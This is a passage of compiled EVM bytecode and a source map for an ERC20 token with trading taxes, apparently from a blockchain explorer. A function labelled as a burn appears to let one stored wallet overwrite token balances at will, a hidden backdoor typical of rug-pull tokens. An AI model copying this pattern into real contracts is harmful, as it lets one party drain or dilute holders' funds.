457600080fd5b506101fa610609565b34801561024957600080fd5b506101d46102583660046116b3565b61062a565b34801561026957600080fd5b50604051600981526020016101ab565b34801561028557600080fd5b506101fa60095481565b34801561029b57600080fd5b506014546102af906001600160a01b031681565b6040516001600160a01b0390911681526020016101ab565b3480156102d357600080fd5b506101fa6102e2366004611696565b6001600160a01b031660009081526001602052604090205490565b34801561030957600080fd5b50610170610693565b34801561031e57600080fd5b506101fa600e5481565b34801561033457600080fd5b506000546001600160a01b03166102af565b34801561035257600080fd5b506101fa600f5481565b34801561036857600080fd5b5060408051808201909152600481526347454e3160e01b602082015261019e565b34801561039557600080fd5b506101d46103a436600461166a565b610707565b3480156103b557600080fd5b506101fa60085481565b3480156103cb57600080fd5b506101706103da3660046116f4565b610714565b3480156103eb57600080fd5b506101fa60105481565b34801561040157600080fd5b5061017061071e565b34801561041657600080fd5b50610170610941565b34801561042b57600080fd5b506101706109a7565b34801561044057600080fd5b506101fa61044f36600461170d565b6001600160a01b03918216600090815260026020908152604080832093909416825291909152205490565b6000546001600160a01b031633146104ad5760405162461bcd60e51b81526004016104a490611746565b60405180910390fd5b60405133904780156108fc02916000818181858888f193505050501580156104d9573d6000803e3d6000fd5b50565b60006104e9338484610a59565b5060015b92915050565b6000546001600160a01b0316331461051d5760405162461bcd60e51b81526004016104a490611746565b6001600160a01b03811663a9059cbb336040516370a0823160e01b81523060048201526001600160a01b038516906370a08231906024015b602060405180830381865afa158015610572573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610596919061177b565b6040516001600160e01b031960e085901b1681526001600160a01b03909216600483015260248201526044016020604051808303816000875af11580156105e1573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906106059190611794565b5050565b60006106176009600a6118b0565b61062590633b9aca006118bf565b905090565b6000610637848484610b7d565b610689843361068485604051806060016040528060288152602001611a12602891396001600160a01b038a16600090815260026020908152604080832033845290915290205491906110d7565b610a59565b5060019392505050565b6000546001600160a01b031633146106bd5760405162461bcd60e51b81526004016104a490611746565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b60006104e9338484610b7d565b6104d93382611111565b6000546001600160a01b031633146107485760405162461bcd60e51b81526004016104a490611746565b601454600160a01b900460ff16156107a25760405162461bcd60e51b815260206004820152601b60248201527f45524332303a2054726164696e6720416c7265616479204f70656e000000000060448201526064016104a4565b601380546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556107eb9030906107dd6009600a6118b0565b61068490633b9aca006118bf565b6013546001600160a01b031663f305d719473061081d816001600160a01b031660009081526001602052604090205490565b6040516001600160e01b031960e086901b1681526001600160a01b039092166004830152602482015260006044820181905260648201523060848201524260a482015260c40160606040518083038185885af1158015610881573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906108a691906118de565b505060145460135460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b3906044016020604051808303816000875af11580156108ff573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109239190611794565b506014805462ff00ff60a01b19166201000160a01b17905543600555565b6000546001600160a01b0316331461096b5760405162461bcd60e51b81526004016104a490611746565b6014546040516370a0823160e01b815230600482015261dead916001600160a01b03169063a9059cbb90839083906370a0823190602401610555565b6000546001600160a01b031633146109d15760405162461bcd60e51b81526004016104a490611746565b6109dd6009600a6118b0565b6109eb90633b9aca006118bf565b600e556109fa6009600a6118b0565b610a0890633b9aca006118bf565b600f557f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf610a386009600a6118b0565b610a4690633b9aca006118bf565b60405190815260200160405180910390a1565b6001600160a01b038316610abb5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20417070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016104a4565b6001600160a01b038216610b1c5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20417070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016104a4565b6001600160a01b0383811660008181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610be15760405162461bcd60e51b815260206004820152602560248201527f45524332303a205472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016104a4565b6001600160a01b038216610c435760405162461bcd60e51b815260206004820152602360248201527f45524332303a205472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016104a4565b60008111610cac5760405162461bcd60e51b815260206004820152603060248201527f45524332303a205472616e7366657220616d6f756e74206d757374206265206760448201526f726561746572207468616e207a65726f60801b60648201526084016104a4565b600080546001600160a01b03858116911614801590610cd957506000546001600160a01b03848116911614155b15610f4c57610d0a6064610d04600a54600d5411610cf957600654610cfd565b6008545b85906112a4565b9061132d565b6014549091506001600160a01b038581169116148015610d3857506013546001600160a01b03848116911614155b8015610d5d57506001600160a01b03831660009081526003602052604090205460ff16155b15610d9a57436005546003610d72919061190c565b1115610d8457823b15610d8457600080fd5b600d8054906000610d948361191f565b91905055505b6014546001600160a01b03848116911614801590610dd157506001600160a01b03831660009081526003602052604090205460ff16155b15610e5b57600f5482610df9856001600160a01b031660009081526001602052604090205490565b610e03919061190c565b1115610e5b5760405162461bcd60e51b815260206004820152602160248201527f45524332303a204578636565647320746865206d617857616c6c657453697a656044820152601760f91b60648201526084016104a4565b6014546001600160a01b038481169116148015610e8157506001600160a01b0384163014155b15610eae57610eab6064610d04600b54600d5411610ea157600754610cfd565b60125485906112a4565b90505b30600090815260016020526040902054601454600160a81b900460ff16158015610ee557506014546001600160a01b038581169116145b8015610efa5750601454600160b01b900460ff165b8015610f07575060105481115b8015610f165750600c54600d54115b15610f4a57610f38610f3384610f2e8460115461136f565b61136f565b611384565b478015610f4857610f48476114fe565b505b505b6001600160a01b03841660009081526003602052604090205460ff1680610f8b57506001600160a01b03831660009081526003602052604090205460ff165b15610f94575060005b801561100e5730600090815260016020526040902054610fb49082611538565b30600081815260016020526040908190209290925590516001600160a01b038616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906110059085815260200190565b60405180910390a35b6001600160a01b0384166000908152600160205260409020546110319083611597565b6001600160a01b0385166000908152600160205260409020556110766110578383611597565b6001600160a01b03851660009081526001602052604090205490611538565b6001600160a01b0380851660008181526001602052604090209290925585167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6110c08585611597565b60405190815260200160405180910390a350505050565b600081848411156110fb5760405162461bcd60e51b81526004016104a49190611607565b5060006111088486611938565b95945050505050565b6001600160a01b0382166111785760405162461bcd60e51b815260206004820152602860248201527f45524332303a2043616e6e6f74206275726e2066726f6d20746865207a65726f604482015267206164647265737360c01b60648201526084016104a4565b6014546001600160a01b03908116908316036111e95760405162461bcd60e51b815260206004820152602a60248201527f45524332303a2043616e6e6f74206275726e2066726f6d2074686520763250616044820152696972206164647265737360b01b60648201526084016104a4565b6004546001600160a01b038381169116146112465760405162461bcd60e51b815260206004820181905260248201527f45524332303a204d75737420696e6372656173652041746c656173742031303060448201526064016104a4565b60128190556001600160a01b03821660009081526001602052604090819020829055517f8b8346cceeebe316823d7806ab10fb94f845ae9a724102493627f8b1fe363460906112989083815260200190565b60405180910390a15050565b6000826000036112b6575060006104ed565b60006112c283856118bf565b9050826112cf858361194b565b146113265760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016104a4565b9392505050565b600061132683836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506115d9565b600081831161137e5782611326565b50919050565b6014805460ff60a81b1916600160a81b17905560408051600280825260608201835260009260208301908036833701905050905030816000815181106113cc576113cc61196d565b6001600160a01b03928316602091820292909201810191909152601354604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015611425573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906114499190611983565b8160018151811061145c5761145c61196d565b6001600160a01b0392831660209182029290920101526013546114829130911684610a59565b60135460405163791ac94760e01b81526001600160a01b039091169063791ac947906114bb9085906000908690309042906004016119a0565b600060405180830381600087803b1580156114d557600080fd5b505af11580156114e9573d6000803e3d6000fd5b50506014805460ff60a81b1916905550505050565b6004546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015610605573d6000803e3d6000fd5b600080611545838561190c565b9050838110156113265760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016104a4565b600061132683836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506110d7565b600081836115fa5760405162461bcd60e51b81526004016104a49190611607565b506000611108848661194b565b600060208083528351808285015260005b8181101561163457858101830151858201604001528201611618565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b03811681146104d957600080fd5b6000806040838503121561167d57600080fd5b823561168881611655565b946020939093013593505050565b6000602082840312156116a857600080fd5b813561132681611655565b6000806000606084860312156116c857600080fd5b83356116d381611655565b925060208401356116e381611655565b929592945050506040919091013590565b60006020828403121561170657600080fd5b5035919050565b6000806040838503121561172057600080fd5b823561172b81611655565b9150602083013561173b81611655565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b60006020828403121561178d57600080fd5b5051919050565b6000602082840312156117a657600080fd5b8151801515811461132657600080fd5b634e487b7160e01b600052601160045260246000fd5b600181815b808511156118075781600019048211156117ed576117ed6117b6565b808516156117fa57918102915b93841c93908002906117d1565b509250929050565b60008261181e575060016104ed565b8161182b575060006104ed565b8160018114611841576002811461184b57611867565b60019150506104ed565b60ff84111561185c5761185c6117b6565b50506001821b6104ed565b5060208310610133831016604e8410600b841016171561188a575081810a6104ed565b61189483836117cc565b80600019048211156118a8576118a86117b6565b029392505050565b600061132660ff84168361180f565b60008160001904831182151516156118d9576118d96117b6565b500290565b6000806000606084860312156118f357600080fd5b8351925060208401519150604084015190509250925092565b808201808211156104ed576104ed6117b6565b600060018201611931576119316117b6565b5060010190565b818103818111156104ed576104ed6117b6565b60008261196857634e487b7160e01b600052601260045260246000fd5b500490565b634e487b7160e01b600052603260045260246000fd5b60006020828403121561199557600080fd5b815161132681611655565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156119f05784516001600160a01b0316835293830193918301916001016119cb565b50506001600160a01b0396909616606085015250505060800152939250505056fe45524332303a205472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220b1d560f862a2b31a6ec6e71f97b1b282923ef33d5542d3cced63ccf9b47c07ff64736f6c63430008100033

Deployed Bytecode Sourcemap

3513:8811:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;11319:115;;;;;;;;;;;;;:::i;:::-;;5727:83;;;;;;;;;;-1:-1:-1;5797:5:0;;;;;;;;;;;;-1:-1:-1;;;5797:5:0;;;;5727:83;;;;;;;:::i;:::-;;;;;;;;6314:161;;;;;;;;;;-1:-1:-1;6314:161:0;;;;;:::i;:::-;;:::i;:::-;;;1188:14:1;;1181:22;1163:41;;1151:2;1136:18;6314:161:0;1023:187:1;4588:52:0;;;;;;;;;;;;;;;;;;;1361:25:1;;;1349:2;1334:18;4588:52:0;1215:177:1;10968:174:0;;;;;;;;;;-1:-1:-1;10968:174:0;;;;;:::i;:::-;;:::i;5818:95::-;;;;;;;;;;;;;:::i;7484:313::-;;;;;;;;;;-1:-1:-1;7484:313:0;;;;;:::i;:::-;;:::i;5921:83::-;;;;;;;;;;-1:-1:-1;5921:83:0;;4212:1;2252:36:1;;2240:2;2225:18;5921:83:0;2110:184:1;3977:30:0;;;;;;;;;;;;;;;;4735:28;;;;;;;;;;-1:-1:-1;4735:28:0;;;;-1:-1:-1;;;;;4735:28:0;;;;;;-1:-1:-1;;;;;2463:32:1;;;2445:51;;2433:2;2418:18;4735:28:0;2299:203:1;6187:119:0;;;;;;;;;;-1:-1:-1;6187:119:0;;;;;:::i;:::-;-1:-1:-1;;;;;6280:18:0;6253:7;6280:18;;;:9;:18;;;;;;;6187:119;2594:148;;;;;;;;;;;;;:::i;4397:56::-;;;;;;;;;;;;;;;;2380:79;;;;;;;;;;-1:-1:-1;2418:7:0;2445:6;-1:-1:-1;;;;;2445:6:0;2380:79;;4460:56;;;;;;;;;;;;;;;;5632:87;;;;;;;;;;-1:-1:-1;5704:7:0;;;;;;;;;;;;-1:-1:-1;;;5704:7:0;;;;5632:87;;6012:167;;;;;;;;;;-1:-1:-1;6012:167:0;;;;;:::i;:::-;;:::i;3941:29::-;;;;;;;;;;;;;;;;10244:118;;;;;;;;;;-1:-1:-1;10244:118:0;;;;;:::i;:::-;;:::i;4523:58::-;;;;;;;;;;;;;;;;11442:594;;;;;;;;;;;;;:::i;12044:238::-;;;;;;;;;;;;;:::i;11150:161::-;;;;;;;;;;;;;:::i;6483:143::-;;;;;;;;;;-1:-1:-1;6483:143:0;;;;;:::i;:::-;-1:-1:-1;;;;;6591:18:0;;;6564:7;6591:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;6483:143;11319:115;2507:6;;-1:-1:-1;;;;;2507:6:0;214:10;2507:22;2499:67;;;;-1:-1:-1;;;2499:67:0;;;;;;;:::i;:::-;;;;;;;;;11373:53:::1;::::0;214:10;;11404:21:::1;11373:53:::0;::::1;;;::::0;::::1;::::0;;;11404:21;214:10;11373:53;::::1;;;;;;;;;;;;;::::0;::::1;;;;;;11319:115::o:0;6314:161::-;6389:4;6406:39;214:10;6429:7;6438:6;6406:8;:39::i;:::-;-1:-1:-1;6463:4:0;6314:161;;;;;:::o;10968:174::-;2507:6;;-1:-1:-1;;;;;2507:6:0;214:10;2507:22;2499:67;;;;-1:-1:-1;;;2499:67:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;11044:29:0;::::1;;214:10:::0;11088:45:::1;::::0;-1:-1:-1;;;11088:45:0;;11127:4:::1;11088:45;::::0;::::1;2445:51:1::0;-1:-1:-1;;;;;11088:30:0;::::1;::::0;::::1;::::0;2418:18:1;;11088:45:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;11044:90;::::0;-1:-1:-1;;;;;;11044:90:0::1;::::0;;;;;;-1:-1:-1;;;;;3827:32:1;;;11044:90:0::1;::::0;::::1;3809:51:1::0;3876:18;;;3869:34;3782:18;;11044:90:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;10968:174:::0;:::o;5818:95::-;5871:7;4268:13;4212:1;4268:2;:13;:::i;:::-;4255:26;;:10;:26;:::i;:::-;5891:14;;5818:95;:::o;7484:313::-;7582:4;7599:36;7609:6;7617:9;7628:6;7599:9;:36::i;:::-;7646:121;7655:6;214:10;7677:89;7715:6;7677:89;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;7677:19:0;;;;;;:11;:19;;;;;;;;214:10;7677:33;;;;;;;;;;:37;:89::i;:::-;7646:8;:121::i;:::-;-1:-1:-1;7785:4:0;7484:313;;;;;:::o;2594:148::-;2507:6;;-1:-1:-1;;;;;2507:6:0;214:10;2507:22;2499:67;;;;-1:-1:-1;;;2499:67:0;;;;;;;:::i;:::-;2701:1:::1;2685:6:::0;;2664:40:::1;::::0;-1:-1:-1;;;;;2685:6:0;;::::1;::::0;2664:40:::1;::::0;2701:1;;2664:40:::1;2732:1;2715:19:::0;;-1:-1:-1;;;;;;2715:19:0::1;::::0;;2594:148::o;6012:167::-;6090:4;6107:42;214:10;6131:9;6142:6;6107:9;:42::i;10244:118::-;10311:43;10335:10;10346:7;10311:23;:43::i;11442:594::-;2507:6;;-1:-1:-1;;;;;2507:6:0;214:10;2507:22;2499:67;;;;-1:-1:-1;;;2499:67:0;;;;;;;:::i;:::-;11504:11:::1;::::0;-1:-1:-1;;;11504:11:0;::::1;;;11503:12;11495:51;;;::::0;-1:-1:-1;;;11495:51:0;;6086:2:1;11495:51:0::1;::::0;::::1;6068:21:1::0;6125:2;6105:18;;;6098:30;6164:29;6144:18;;;6137:57;6211:18;;11495:51:0::1;5884:351:1::0;11495:51:0::1;11557:15;:80:::0;;-1:-1:-1;;;;;;11557:80:0::1;11594:42;11557:80:::0;;::::1;::::0;;;11648:58:::1;::::0;11665:4:::1;::::0;4268:13:::1;4212:1;4268:2;:13;:::i;:::-;4255:26;::::0;:10:::1;:26;:::i;11648:58::-;11717:15;::::0;-1:-1:-1;;;;;11717:15:0::1;:31;11756:21;11787:4;11793:24;11787:4:::0;-1:-1:-1;;;;;6280:18:0;6253:7;6280:18;;;:9;:18;;;;;;;6187:119;11793:24:::1;11717:135;::::0;-1:-1:-1;;;;;;11717:135:0::1;::::0;;;;;;-1:-1:-1;;;;;6599:15:1;;;11717:135:0::1;::::0;::::1;6581:34:1::0;6631:18;;;6624:34;11818:1:0::1;6674:18:1::0;;;6667:34;;;6717:18;;;6710:34;11830:4:0::1;6760:19:1::0;;;6753:44;11836:15:0::1;6813:19:1::0;;;6806:35;6515:19;;11717:135:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;11870:13:0::1;::::0;11901:15:::1;::::0;11863:71:::1;::::0;-1:-1:-1;;;11863:71:0;;-1:-1:-1;;;;;11901:15:0;;::::1;11863:71;::::0;::::1;3809:51:1::0;-1:-1:-1;;3876:18:1;;;3869:34;11870:13:0;::::1;::::0;-1:-1:-1;11863:29:0::1;::::0;3782:18:1;;11863:71:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;11945:11:0::1;:18:::0;;-1:-1:-1;;;;11974:18:0;-1:-1:-1;;;11974:18:0;;;12016:12:::1;12003:10;:25:::0;11442:594::o;12044:238::-;2507:6;;-1:-1:-1;;;;;2507:6:0;214:10;2507:22;2499:67;;;;-1:-1:-1;;;2499:67:0;;;;;;;:::i;:::-;12190:13:::1;::::0;12227:46:::1;::::0;-1:-1:-1;;;12227:46:0;;12267:4:::1;12227:46;::::0;::::1;2445:51:1::0;12129:42:0::1;::::0;-1:-1:-1;;;;;12190:13:0::1;::::0;12183:30:::1;::::0;12129:42;;12190:13;;12227:31:::1;::::0;2418:18:1;;12227:46:0::1;2299:203:1::0;11150:161:0;2507:6;;-1:-1:-1;;;;;2507:6:0;214:10;2507:22;2499:67;;;;-1:-1:-1;;;2499:67:0;;;;;;;:::i;:::-;4268:13:::1;4212:1;4268:2;:13;:::i;:::-;4255:26;::::0;:10:::1;:26;:::i;:::-;11205:12;:22:::0;4268:13:::1;4212:1;4268:2;:13;:::i;:::-;4255:26;::::0;:10:::1;:26;:::i;:::-;11238:14;:22:::0;11276:27:::1;4268:13;4212:1;4268:2;:13;:::i;:::-;4255:26;::::0;:10:::1;:26;:::i;:::-;11276:27;::::0;1361:25:1;;;1349:2;1334:18;11276:27:0::1;;;;;;;11150:161::o:0;7141:335::-;-1:-1:-1;;;;;7234:19:0;;7226:68;;;;-1:-1:-1;;;7226:68:0;;7365:2:1;7226:68:0;;;7347:21:1;7404:2;7384:18;;;7377:30;7443:34;7423:18;;;7416:62;-1:-1:-1;;;7494:18:1;;;7487:34;7538:19;;7226:68:0;7163:400:1;7226:68:0;-1:-1:-1;;;;;7313:21:0;;7305:68;;;;-1:-1:-1;;;7305:68:0;;7770:2:1;7305:68:0;;;7752:21:1;7809:2;7789:18;;;7782:30;7848:34;7828:18;;;7821:62;-1:-1:-1;;;7899:18:1;;;7892:32;7941:19;;7305:68:0;7568:398:1;7305:68:0;-1:-1:-1;;;;;7384:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;7436:32;;1361:25:1;;;7436:32:0;;1334:18:1;7436:32:0;;;;;;;7141:335;;;:::o;7805:2122::-;-1:-1:-1;;;;;7893:18:0;;7885:68;;;;-1:-1:-1;;;7885:68:0;;8173:2:1;7885:68:0;;;8155:21:1;8212:2;8192:18;;;8185:30;8251:34;8231:18;;;8224:62;-1:-1:-1;;;8302:18:1;;;8295:35;8347:19;;7885:68:0;7971:401:1;7885:68:0;-1:-1:-1;;;;;7972:16:0;;7964:64;;;;-1:-1:-1;;;7964:64:0;;8579:2:1;7964:64:0;;;8561:21:1;8618:2;8598:18;;;8591:30;8657:34;8637:18;;;8630:62;-1:-1:-1;;;8708:18:1;;;8701:33;8751:19;;7964:64:0;8377:399:1;7964:64:0;8056:1;8047:6;:10;8039:71;;;;-1:-1:-1;;;8039:71:0;;8983:2:1;8039:71:0;;;8965:21:1;9022:2;9002:18;;;8995:30;9061:34;9041:18;;;9034:62;-1:-1:-1;;;9112:18:1;;;9105:46;9168:19;;8039:71:0;8781:412:1;8039:71:0;8121:17;2445:6;;-1:-1:-1;;;;;8155:15:0;;;2445:6;;8155:15;;;;:32;;-1:-1:-1;2418:7:0;2445:6;-1:-1:-1;;;;;8174:13:0;;;2445:6;;8174:13;;8155:32;8151:1312;;;8216:76;8288:3;8216:67;8238:15;;8228:9;;:25;8227:55;;8268:14;;8227:55;;;8255:12;;8227:55;8216:6;;:10;:67::i;:::-;:71;;:76::i;:::-;8321:13;;8204:88;;-1:-1:-1;;;;;;8313:21:0;;;8321:13;;8313:21;:55;;;;-1:-1:-1;8352:15:0;;-1:-1:-1;;;;;8338:30:0;;;8352:15;;8338:30;;8313:55;:83;;;;-1:-1:-1;;;;;;8374:22:0;;;;;;:18;:22;;;;;;;;8372:24;8313:83;8309:259;;;8442:12;8424:10;;8437:1;8424:14;;;;:::i;:::-;:30;8420:103;;;10172:20;;10220:8;8479:24;;;;;;8541:9;:11;;;:9;:11;;;:::i;:::-;;;;;;8309:259;8594:13;;-1:-1:-1;;;;;8588:19:0;;;8594:13;;8588:19;;;;:47;;-1:-1:-1;;;;;;8613:22:0;;;;;;:18;:22;;;;;;;;8611:24;8588:47;8584:174;;;8690:14;;8680:6;8664:13;8674:2;-1:-1:-1;;;;;6280:18:0;6253:7;6280:18;;;:9;:18;;;;;;;6187:119;8664:13;:22;;;;:::i;:::-;:40;;8656:86;;;;-1:-1:-1;;;8656:86:0;;9670:2:1;8656:86:0;;;9652:21:1;9709:2;9689:18;;;9682:30;9748:34;9728:18;;;9721:62;-1:-1:-1;;;9799:18:1;;;9792:31;9840:19;;8656:86:0;9468:397:1;8656:86:0;8783:13;;-1:-1:-1;;;;;8777:19:0;;;8783:13;;8777:19;:43;;;;-1:-1:-1;;;;;;8800:20:0;;8815:4;8800:20;;8777:43;8774:171;;;8853:76;8925:3;8853:67;8875:16;;8865:9;;:26;8864:55;;8904:15;;8864:55;;;8893:10;;8853:6;;:10;:67::i;:76::-;8841:88;;8774:171;9010:4;8961:28;6280:18;;;:9;:18;;;;;;9036:6;;-1:-1:-1;;;9036:6:0;;;;9035:7;:32;;;;-1:-1:-1;9054:13:0;;-1:-1:-1;;;;;9046:21:0;;;9054:13;;9046:21;9035:32;:47;;;;-1:-1:-1;9071:11:0;;-1:-1:-1;;;9071:11:0;;;;9035:47;:89;;;;;9107:17;;9086:20;:38;9035:89;:121;;;;;9138:18;;9128:9;;:28;9035:121;9031:421;;;9177:67;9194:49;9198:6;9205:37;9209:20;9230:11;;9205:3;:37::i;:::-;9194:3;:49::i;:::-;9177:16;:67::i;:::-;9292:21;9335:22;;9332:105;;9382:35;9395:21;9382:12;:35::i;:::-;9158:294;9031:421;8189:1274;8151:1312;-1:-1:-1;;;;;9479:24:0;;;;;;:18;:24;;;;;;;;;:50;;-1:-1:-1;;;;;;9507:22:0;;;;;;:18;:22;;;;;;;;9479:50;9475:96;;;-1:-1:-1;9558:1:0;9475:96;9586:11;;9583:161;;9654:4;9636:24;;;;:9;:24;;;;;;:39;;9665:9;9636:28;:39::i;:::-;9629:4;9611:24;;;;:9;:24;;;;;;;:64;;;;9693:39;;-1:-1:-1;;;;;9693:39:0;;;;;;;9722:9;1361:25:1;;1349:2;1334:18;;1215:177;9693:39:0;;;;;;;;9583:161;-1:-1:-1;;;;;9770:15:0;;;;;;:9;:15;;;;;;:27;;9790:6;9770:19;:27::i;:::-;-1:-1:-1;;;;;9754:15:0;;;;;;:9;:15;;;;;:43;9822:40;9840:21;:6;9851:9;9840:10;:21::i;:::-;-1:-1:-1;;;;;9822:13:0;;;;;;:9;:13;;;;;;;:17;:40::i;:::-;-1:-1:-1;;;;;9808:13:0;;;;;;;:9;:13;;;;;:54;;;;9878:41;;;9897:21;:6;9908:9;9897:10;:21::i;:::-;9878:41;;1361:25:1;;;1349:2;1334:18;9878:41:0;;;;;;;7874:2053;7805:2122;;;:::o;1272:190::-;1358:7;1394:12;1386:6;;;;1378:29;;;;-1:-1:-1;;;1378:29:0;;;;;;;;:::i;:::-;-1:-1:-1;1418:9:0;1430:5;1434:1;1430;:5;:::i;:::-;1418:17;1272:190;-1:-1:-1;;;;;1272:190:0:o;6634:499::-;-1:-1:-1;;;;;6742:21:0;;6734:74;;;;-1:-1:-1;;;6734:74:0;;10205:2:1;6734:74:0;;;10187:21:1;10244:2;10224:18;;;10217:30;10283:34;10263:18;;;10256:62;-1:-1:-1;;;10334:18:1;;;10327:38;10382:19;;6734:74:0;10003:404:1;6734:74:0;6838:13;;-1:-1:-1;;;;;6838:13:0;;;6827:24;;;;6819:79;;;;-1:-1:-1;;;6819:79:0;;10614:2:1;6819:79:0;;;10596:21:1;10653:2;10633:18;;;10626:30;10692:34;10672:18;;;10665:62;-1:-1:-1;;;10743:18:1;;;10736:40;10793:19;;6819:79:0;10412:406:1;6819:79:0;6928:16;;-1:-1:-1;;;;;6917:27:0;;;6928:16;;6917:27;6909:72;;;;-1:-1:-1;;;6909:72:0;;11025:2:1;6909:72:0;;;11007:21:1;;;11044:18;;;11037:30;11103:34;11083:18;;;11076:62;11155:18;;6909:72:0;10823:356:1;6909:72:0;6992:10;:34;;;-1:-1:-1;;;;;7037:18:0;;;;;;:9;:18;;;;;;;:31;;;7084:41;;;;;7005:21;1361:25:1;;1349:2;1334:18;;1215:177;7084:41:0;;;;;;;;6634:499;;:::o;1470:246::-;1528:7;1552:1;1557;1552:6;1548:47;;-1:-1:-1;1582:1:0;1575:8;;1548:47;1605:9;1617:5;1621:1;1617;:5;:::i;:::-;1605:17;-1:-1:-1;1650:1:0;1641:5;1645:1;1605:17;1641:5;:::i;:::-;:10;1633:56;;;;-1:-1:-1;;;1633:56:0;;11608:2:1;1633:56:0;;;11590:21:1;11647:2;11627:18;;;11620:30;11686:34;11666:18;;;11659:62;-1:-1:-1;;;11737:18:1;;;11730:31;11778:19;;1633:56:0;11406:397:1;1633:56:0;1707:1;1470:246;-1:-1:-1;;;1470:246:0:o;1724:132::-;1782:7;1809:39;1813:1;1816;1809:39;;;;;;;;;;;;;;;;;:3;:39::i;9935:98::-;9992:7;10019:1;10017;:3;10016:9;;10024:1;10016:9;;;-1:-1:-1;10022:1:0;9935:98;-1:-1:-1;9935:98:0:o;10370:484::-;5017:6;:13;;-1:-1:-1;;;;5017:13:0;-1:-1:-1;;;5017:13:0;;;10472:16:::1;::::0;;10486:1:::1;10472:16:::0;;;;;::::1;::::0;;-1:-1:-1;;10472:16:0::1;::::0;::::1;::::0;;::::1;::::0;::::1;;::::0;-1:-1:-1;10472:16:0::1;10448:40;;10517:4;10499;10504:1;10499:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;10499:23:0;;::::1;:7;::::0;;::::1;::::0;;;;;;:23;;;;10543:15:::1;::::0;:22:::1;::::0;;-1:-1:-1;;;10543:22:0;;;;:15;;;::::1;::::0;:20:::1;::::0;:22:::1;::::0;;::::1;::::0;10499:7;;10543:22;;;;;:15;:22:::1;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;10533:4;10538:1;10533:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;10533:32:0;;::::1;:7;::::0;;::::1;::::0;;;;;:32;10609:15:::1;::::0;10577:62:::1;::::0;10594:4:::1;::::0;10609:15:::1;10627:11:::0;10577:8:::1;:62::i;:::-;10650:15;::::0;:196:::1;::::0;-1:-1:-1;;;10650:196:0;;-1:-1:-1;;;;;10650:15:0;;::::1;::::0;:66:::1;::::0;:196:::1;::::0;10731:11;;10650:15:::1;::::0;10773:4;;10800::::1;::::0;10820:15:::1;::::0;10650:196:::1;;;:::i;:::-;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;-1:-1:-1::0;;5053:6:0;:14;;-1:-1:-1;;;;5053:14:0;;;-1:-1:-1;;;;10370:484:0:o;10862:98::-;10919:16;;:33;;-1:-1:-1;;;;;10919:16:0;;;;:33;;;;;10945:6;;10919:16;:33;:16;:33;10945:6;10919:16;:33;;;;;;;;;;;;;;;;;;;941:179;999:7;;1031:5;1035:1;1031;:5;:::i;:::-;1019:17;;1060:1;1055;:6;;1047:46;;;;-1:-1:-1;;;1047:46:0;;13515:2:1;1047:46:0;;;13497:21:1;13554:2;13534:18;;;13527:30;13593:29;13573:18;;;13566:57;13640:18;;1047:46:0;13313:351:1;1128:136:0;1186:7;1213:43;1217:1;1220;1213:43;;;;;;;;